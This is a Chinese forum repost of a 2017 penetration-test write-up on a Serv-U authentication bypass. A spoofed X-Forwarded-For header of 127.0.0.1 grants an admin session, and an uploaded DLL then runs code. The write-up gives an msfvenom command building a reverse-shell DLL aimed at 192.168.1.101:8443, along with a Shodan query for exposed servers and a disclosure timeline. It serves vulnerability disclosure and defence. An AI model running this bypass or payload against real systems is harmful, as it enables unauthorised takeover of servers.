搜索

[11210] 2017-04-06_看我如何在渗透测试过程中发现并利用Serv-U漏洞进行操作系统提权

文档创建者：s7ckTeam
浏览次数：12
最后更新：2025-01-18
2017-04-06_看我如何在渗透测试过程中发现并利用Serv-U漏洞进行操作系统提权 看 我 如 何 在 渗 透 测 试 过 程 中 发 现 并 利 用 S e r v - U 漏 洞 进 行 操 作 系 统 提 权 c l o u d s   F r e e B u f   2 0 1 7 - 0 4 - 0 6 最 近 ， 我 在 做 一 个 外 网 渗 透 测 试 的 过 程 中 ， 发 现 了 S o l a r W i n d s 文 件 共 享 程 序 S e r v - U 的 一 个 漏 洞 ， 通 过 该 漏 洞 我 获 得 了 S e r v - U 的 管 理 权 限 ， 并 能 以 系 统 用 户 身 份 执 行 远 程 代 码 ， 成 功 完 成 操 作 系 统 提 权 。 在 此 ， 我 在 W i n 7 虚 拟 机 中 安 装 S e r v - U 程 序 ， 对 该 漏 洞 作 出 验 证 。 前 期 发 现 前 期 发 现 S e r v - U 安 装 之 后 ， 不 需 要 进 行 任 何 配 置 ， 其 默 认 的 W e b 服 务 端 口 为 1 2 7 . 0 . 0 . 1 ， 由 于 是 本 地 服 务 器 地 址 ， 即 使 提 供 外 部 服 务 也 不 需 要 更 改 此 I P 。
基 于 这 个 W e b 服 务 端 ， 我 利 用 B u r p   S u i t e 的 S p i d e r 功 能 来 发 现 了 其 / ? C o m m a n d = L o g i n 请 求 点 可 能 存 在 问 题 ， 之 后 ， 继 续 利 用 B u r p   S u i t e 的 S c a n n e r 功 能 ， 用 包 含 X - F o r w a r d e d - F o r 头 的 P O S T 请 求 对 该 点 发 起 f u z z 攻 击 ， 来 观 察 其 响 应 结 果 。 没 过 一 会 ， 通 过 对 这 些 响 应 信 息 的 手 工 验 证 后 发 现 ， 当 提 交 的 登 录 请 求 中 包 含 了 X - F o r w a r d e d - F o r 头 为 1 2 7 . 0 . 0 . 1 的 P O S T 请 求 信 息 时 ， S e r v - U 程 序 将 以 本 地 管 理 员 身 份 响 应 一 个 有 效 的 S e s s i o n 会 话 。 虽 然 该 P O S T 请 求 通 过 F i r e f o x 浏 览 器 会 产 生 一 个 如 下 的 错 误 提 示 ：
但 其 本 地 管 理 员 身 份 的 S e s s i o n 会 话 却 是 有 效 的 ， 利 用 该 C o o k i e 构 造 G E T 请 求 ： 可 以 顺 利 以 管 理 员 身 份 登 录 S e r v - U 管 理 后 台 ： 进 一 步 利 用 进 一 步 利 用 经 过 一 番 研 究 发 现 ， 攻 击 者 可 以 利 用 h t t p : / / 1 2 7 . 0 . 0 . 1 : 4 3 9 5 8 / A d m i n / S e r v e r L i m i t s . h t m 页 面 下 的 集 成 库 文 件 导 入 功 能 （ i n t e r g r a t i o n l i b r a r y ） ， 上 传 并 执 行 任 意 D L L 文 件 ：
这 里 ， 我 用 m s f v e n o m 来 制 作 免 杀 的 恶 意 D L L 文 件 M F C 1 0 0 P W N . d l l ， 如 下 ： r o o t @ 6 c 6 5 6 f : ~ #   m s f v e n o m   - p   w i n d o w s / x 6 4 / p o w e r s h e l l _ r e v e r s e _ t c p   L H O S T = 1 9 2 . 1 6 8 . 1 . 1 0 1   L P O R T = 8 4 4 3   - f   d l l   >   M F C 1 0 0 P W N . d l l N o   p l a t f o r m   w a s   s e l e c t e d ,   c h o o s i n g M s f : : M o d u l e : : P l a t f o r m : : W i n d o w s   f r o m   t h e   p a y l o a d   N o   A r c h   s e l e c t e d ,   s e l e c t i n g   A r c h :   x 6 4   f r o m   t h e   p a y l o a d   N o   e n c o d e r   o r   b a d c h a r s   s p e c i f i e d ,   o u t p u t t i n g   r a w   p a y l o a d P a y l o a d   s i z e :   1 8 1 0   b y t e s   F i n a l   s i z e   o f   d l l   f i l e :   5 1 2 0   b y t e s   r o o t @ 6 c 6 5 6 f : ~ #   f i l e   M F C 1 0 0 P W N . d l l M F C 1 0 0 P W N . d l l :   P E 3 2 +   e x e c u t a b l e   ( D L L )   ( G U I )   x 8 6 - 6 4 ,   f o r   M S   W i n d o w s 该 D L L 文 件 将 会 向 1 9 2 . 1 6 8 . 1 . 1 0 1 : 8 4 4 3 执 行 反 弹 连 接 ， 所 以 ， 这 里 用 M e t a s p l o i t 开 启 一 个 监 听 端 l i s t e n e r 。 操 作 系 统 提 权 操 作 系 统 提 权 把 M F C 1 0 0 P W N . d l l 文 件 通 过 S e r v - u   w e b   c l i e n t 上 传 至   目 录 ” C : P r o g r a m   F i l e s R h i n o S o f t S e r v - U ” ：
执 行 该 D L L 文 件 ：
不 出 意 外 ， 通 过 该 D L L 文 件 的 反 弹 s h e l l ， 我 们 获 得 了 S e r v - u 所 在 系 统 的 管 理 员 权 限 。 漏 洞 影 响 漏 洞 影 响 至 2 0 1 7 年 1 月 3 0 日 ， 通 过 S h o d a n 查 询 ， 可 以 发 现 全 球 联 网 的 ， 安 装 有 类 似 S e r v - U 服 务 的 1 5 , 0 0 0 多 台 服 务 器 都 面 临 此 漏 洞 威 胁 ， 而 据 我 们 研 究 发 现 ， S e r v - U 在 1 5 . 1 . 5 之 前 的 所 有 版 本 都 受 此 漏 洞 影 响 。 （ 具 体 漏 洞 信 息 参 考 此 声 明 ） S e r v e r :   S e r v - U /   p r o d u c t : " R h i n o s o f t   S e r v - U   h t t p d " 漏 洞 报 告 进 程 漏 洞 报 告 进 程 0 1 / 1 3 / 2 0 1 7   –   向 S o l a r W i n d 披 露 漏 洞 0 2 / 1 7 / 2 0 1 7   –   S o l a r W i n d 发 布 补 丁
0 3 / 2 2 / 2 0 1 7   –   公 开 漏 洞 * 参 考 来 源 ： S p i d e r L a b s ， f r e e b u f 小 编 c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e b u f . c o m 。 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理